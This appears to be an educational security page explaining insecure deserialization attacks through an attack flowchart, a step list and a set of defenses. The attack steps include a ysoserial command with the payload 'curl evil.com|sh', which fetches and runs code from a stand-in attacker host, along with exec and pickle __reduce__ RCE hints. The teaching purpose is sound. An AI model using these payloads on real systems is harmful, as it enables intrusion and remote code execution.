📦 Insecure Deserialization Attack Flow
Remote Code Execution via Object Injection
flowchart TD
A[👤 Attacker] -->|1. Craft malicious object| B[🔧 Serialized Payload]
B -->|2. Submit to application| C[🌐 Vulnerable Web App]
C -->|3. Deserialize untrusted data| D[📦 Unsafe Deserialization]
D -->|4. Execute magic methods| E[💣 Code Execution]
E -->|5. System commands| F[🖥️ Remote Code Execution]
F -->|6. Establish backdoor| G[🚪 Persistent Access]
F -->|7. Exfiltrate data| H[(💾 Data Breach)]
G -->|8. Control to attacker| A
H -->|9. Stolen data| A
style A fill:#ff6b6b,stroke:#f59e0b,stroke-width:2px,color:#fff
style B fill:#ffd43b,stroke:#f59e0b,stroke-width:2px,color:#000
style C fill:#74c0fc,stroke:#f59e0b,stroke-width:2px,color:#000
style D fill:#ff6b6b,stroke:#f59e0b,stroke-width:2px,color:#fff
style E fill:#ff6b6b,stroke:#f59e0b,stroke-width:2px,color:#fff
style F fill:#ff6b6b,stroke:#f59e0b,stroke-width:2px,color:#fff
style G fill:#a855f7,stroke:#f59e0b,stroke-width:2px,color:#fff
style H fill:#ff6b6b,stroke:#f59e0b,stroke-width:2px,color:#fff
I[🔒 Defense:
Avoid Deserialization] -.->|Use JSON/XML| C
J[🛡️ Defense:
Integrity Checks] -.->|HMAC signatures| D
K[⚙️ Defense:
Restrict Classes] -.->|Whitelist types| D
style I fill:#f59e0b,stroke:#00cc33,stroke-width:2px,color:#000
style J fill:#f59e0b,stroke:#00cc33,stroke-width:2px,color:#000
style K fill:#f59e0b,stroke:#00cc33,stroke-width:2px,color:#000
📋 Attack Flow Breakdown
1
Identify Deserialization Points: Find where application deserializes data.
Cookie: session=rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA== (Java serialized)
pickle.loads(user_data) (Python)
2
Craft Malicious Payload: Create serialized object with exploit code.
ysoserial CommonsCollections6 "curl evil.com|sh" (Java)
__reduce__ method for Python pickle RCE
3
Trigger Deserialization: Submit payload in cookie, session, or POST data.
4
Magic Method Execution: Deserialization triggers special methods.
__wakeup(), __destruct() (PHP)
readObject() (Java)
__reduce__() (Python)
5
Remote Code Execution: Attacker gains ability to run arbitrary commands.
Runtime.getRuntime().exec("whoami")
6
Post-Exploitation: Install backdoors, pivot to other systems, exfiltrate data.
🛡️ Defense Mechanisms
✅ Avoid Native Serialization:
Use JSON, XML, or Protocol Buffers instead of language-native serialization.
Use: JSON.parse() | Avoid: pickle.loads(), unserialize()
✅ Implement Integrity Checks:
Sign serialized data with HMAC to detect tampering.
hmac = HMAC(secret_key, serialized_data, sha256)
✅ Restrict Deserialization Classes:
Use look-ahead deserialization with class whitelisting.
ObjectInputStream with custom resolveClass()
✅ Isolate Deserialization:
Run in sandboxed environments with limited privileges.
Use containers or VMs for isolation.
✅ Monitor Deserialization Activity:
Log and alert on suspicious deserialization patterns.
Detect known gadget chains (Apache Commons, Spring, etc.)
✅ Keep Libraries Updated:
Patch vulnerable serialization libraries.
Update: commons-collections, fastjson, jackson-databind